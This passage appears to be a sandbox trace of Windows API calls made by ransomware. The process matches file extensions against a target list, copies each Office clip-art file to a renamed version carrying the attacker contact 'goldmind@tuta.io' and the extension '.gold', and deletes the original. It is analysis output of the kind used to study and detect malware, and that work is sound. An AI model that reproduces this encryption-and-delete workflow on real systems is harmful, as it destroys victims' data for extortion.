returned -1 [0114.444] lstrlenW (lpString=".bz2") returned 4 [0114.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.444] lstrlenW (lpString=".7z") returned 3 [0114.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned 63 [0114.444] lstrlenW (lpString=".dbf") returned 4 [0114.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned 63 [0114.444] lstrlenW (lpString=".1cd") returned 4 [0114.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned 63 [0114.444] lstrlenW (lpString=".jpg") returned 4 [0114.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.444] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.444] lstrlenW (lpString="J0199609.WMF") returned 12 [0114.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0114.445] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=12332) returned 1 [0114.445] CloseHandle (hObject=0x398) returned 1 [0114.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf")) returned 0x20 [0114.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0114.446] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.446] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.447] GetLastError () returned 0x0 [0114.447] ReadFile (in: hFile=0x398, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x302c, lpOverlapped=0x0) returned 1 [0114.483] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x3030, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x3030, lpOverlapped=0x0) returned 1 [0114.484] ReadFile (in: hFile=0x398, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.484] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.484] SetEndOfFile (hFile=0x194) returned 1 [0114.484] CloseHandle (hObject=0x194) returned 1 [0114.484] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.484] SetEndOfFile (hFile=0x398) returned 1 [0114.486] CloseHandle (hObject=0x398) returned 1 [0114.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf")) returned 1 [0114.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned 63 [0114.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned 63 [0114.487] lstrlenW (lpString=".doc") returned 4 [0114.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.487] lstrlenW (lpString=".docx") returned 5 [0114.487] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.487] lstrlenW (lpString=".pdf") returned 4 [0114.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.487] lstrlenW (lpString=".xls") returned 4 [0114.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.487] lstrlenW (lpString=".xlsx") returned 5 [0114.487] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.487] lstrlenW (lpString=".ppt") returned 4 [0114.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned 63 [0114.487] lstrlenW (lpString=".zip") returned 4 [0114.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.487] lstrlenW (lpString=".rar") returned 4 [0114.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.487] lstrlenW (lpString=".bz2") returned 4 [0114.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.487] lstrlenW (lpString=".7z") returned 3 [0114.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned 63 [0114.487] lstrlenW (lpString=".dbf") returned 4 [0114.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned 63 [0114.487] lstrlenW (lpString=".1cd") returned 4 [0114.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned 63 [0114.488] lstrlenW (lpString=".jpg") returned 4 [0114.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned 63 [0114.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned 63 [0114.488] lstrlenW (lpString=".doc") returned 4 [0114.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.488] lstrlenW (lpString=".docx") returned 5 [0114.488] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.488] lstrlenW (lpString=".pdf") returned 4 [0114.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.488] lstrlenW (lpString=".xls") returned 4 [0114.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.488] lstrlenW (lpString=".xlsx") returned 5 [0114.488] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.488] lstrlenW (lpString=".ppt") returned 4 [0114.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned 63 [0114.488] lstrlenW (lpString=".zip") returned 4 [0114.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.488] lstrlenW (lpString=".rar") returned 4 [0114.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.488] lstrlenW (lpString=".bz2") returned 4 [0114.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.488] lstrlenW (lpString=".7z") returned 3 [0114.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned 63 [0114.488] lstrlenW (lpString=".dbf") returned 4 [0114.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned 63 [0114.488] lstrlenW (lpString=".1cd") returned 4 [0114.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned 63 [0114.488] lstrlenW (lpString=".jpg") returned 4 [0114.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.488] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.488] lstrlenW (lpString="J0200163.WMF") returned 12 [0114.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.491] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=7180) returned 1 [0114.491] CloseHandle (hObject=0x194) returned 1 [0114.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf")) returned 0x20 [0114.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.492] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.492] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.493] GetLastError () returned 0x0 [0114.493] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1c0c, lpOverlapped=0x0) returned 1 [0114.495] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0114.495] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.495] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.496] SetEndOfFile (hFile=0x198) returned 1 [0114.496] CloseHandle (hObject=0x198) returned 1 [0114.496] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.496] SetEndOfFile (hFile=0x194) returned 1 [0114.498] CloseHandle (hObject=0x194) returned 1 [0114.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf")) returned 1 [0114.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned 63 [0114.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned 63 [0114.499] lstrlenW (lpString=".doc") returned 4 [0114.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.499] lstrlenW (lpString=".docx") returned 5 [0114.499] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.499] lstrlenW (lpString=".pdf") returned 4 [0114.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.499] lstrlenW (lpString=".xls") returned 4 [0114.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.499] lstrlenW (lpString=".xlsx") returned 5 [0114.499] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.499] lstrlenW (lpString=".ppt") returned 4 [0114.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned 63 [0114.499] lstrlenW (lpString=".zip") returned 4 [0114.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.499] lstrlenW (lpString=".rar") returned 4 [0114.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.499] lstrlenW (lpString=".bz2") returned 4 [0114.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.499] lstrlenW (lpString=".7z") returned 3 [0114.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned 63 [0114.499] lstrlenW (lpString=".dbf") returned 4 [0114.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned 63 [0114.499] lstrlenW (lpString=".1cd") returned 4 [0114.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned 63 [0114.499] lstrlenW (lpString=".jpg") returned 4 [0114.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned 63 [0114.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned 63 [0114.499] lstrlenW (lpString=".doc") returned 4 [0114.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.499] lstrlenW (lpString=".docx") returned 5 [0114.499] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.499] lstrlenW (lpString=".pdf") returned 4 [0114.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.499] lstrlenW (lpString=".xls") returned 4 [0114.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.500] lstrlenW (lpString=".xlsx") returned 5 [0114.500] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.500] lstrlenW (lpString=".ppt") returned 4 [0114.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned 63 [0114.500] lstrlenW (lpString=".zip") returned 4 [0114.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.500] lstrlenW (lpString=".rar") returned 4 [0114.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.500] lstrlenW (lpString=".bz2") returned 4 [0114.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.500] lstrlenW (lpString=".7z") returned 3 [0114.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned 63 [0114.500] lstrlenW (lpString=".dbf") returned 4 [0114.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned 63 [0114.500] lstrlenW (lpString=".1cd") returned 4 [0114.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned 63 [0114.500] lstrlenW (lpString=".jpg") returned 4 [0114.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.500] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.500] lstrlenW (lpString="J0200183.WMF") returned 12 [0114.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.501] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5312) returned 1 [0114.501] CloseHandle (hObject=0x194) returned 1 [0114.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf")) returned 0x20 [0114.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.501] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.501] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.502] GetLastError () returned 0x0 [0114.502] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x14c0, lpOverlapped=0x0) returned 1 [0114.503] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0114.504] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.504] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.504] SetEndOfFile (hFile=0x198) returned 1 [0114.504] CloseHandle (hObject=0x198) returned 1 [0114.504] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.505] SetEndOfFile (hFile=0x194) returned 1 [0114.507] CloseHandle (hObject=0x194) returned 1 [0114.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf")) returned 1 [0114.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned 63 [0114.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned 63 [0114.509] lstrlenW (lpString=".doc") returned 4 [0114.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.509] lstrlenW (lpString=".docx") returned 5 [0114.509] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.509] lstrlenW (lpString=".pdf") returned 4 [0114.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.509] lstrlenW (lpString=".xls") returned 4 [0114.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.509] lstrlenW (lpString=".xlsx") returned 5 [0114.509] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.509] lstrlenW (lpString=".ppt") returned 4 [0114.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned 63 [0114.509] lstrlenW (lpString=".zip") returned 4 [0114.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.509] lstrlenW (lpString=".rar") returned 4 [0114.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.509] lstrlenW (lpString=".bz2") returned 4 [0114.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.509] lstrlenW (lpString=".7z") returned 3 [0114.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned 63 [0114.509] lstrlenW (lpString=".dbf") returned 4 [0114.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned 63 [0114.509] lstrlenW (lpString=".1cd") returned 4 [0114.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned 63 [0114.509] lstrlenW (lpString=".jpg") returned 4 [0114.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned 63 [0114.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned 63 [0114.509] lstrlenW (lpString=".doc") returned 4 [0114.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.509] lstrlenW (lpString=".docx") returned 5 [0114.509] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.509] lstrlenW (lpString=".pdf") returned 4 [0114.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.509] lstrlenW (lpString=".xls") returned 4 [0114.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.509] lstrlenW (lpString=".xlsx") returned 5 [0114.509] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.509] lstrlenW (lpString=".ppt") returned 4 [0114.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned 63 [0114.510] lstrlenW (lpString=".zip") returned 4 [0114.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.510] lstrlenW (lpString=".rar") returned 4 [0114.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.510] lstrlenW (lpString=".bz2") returned 4 [0114.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.510] lstrlenW (lpString=".7z") returned 3 [0114.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned 63 [0114.510] lstrlenW (lpString=".dbf") returned 4 [0114.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned 63 [0114.510] lstrlenW (lpString=".1cd") returned 4 [0114.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned 63 [0114.510] lstrlenW (lpString=".jpg") returned 4 [0114.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.510] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 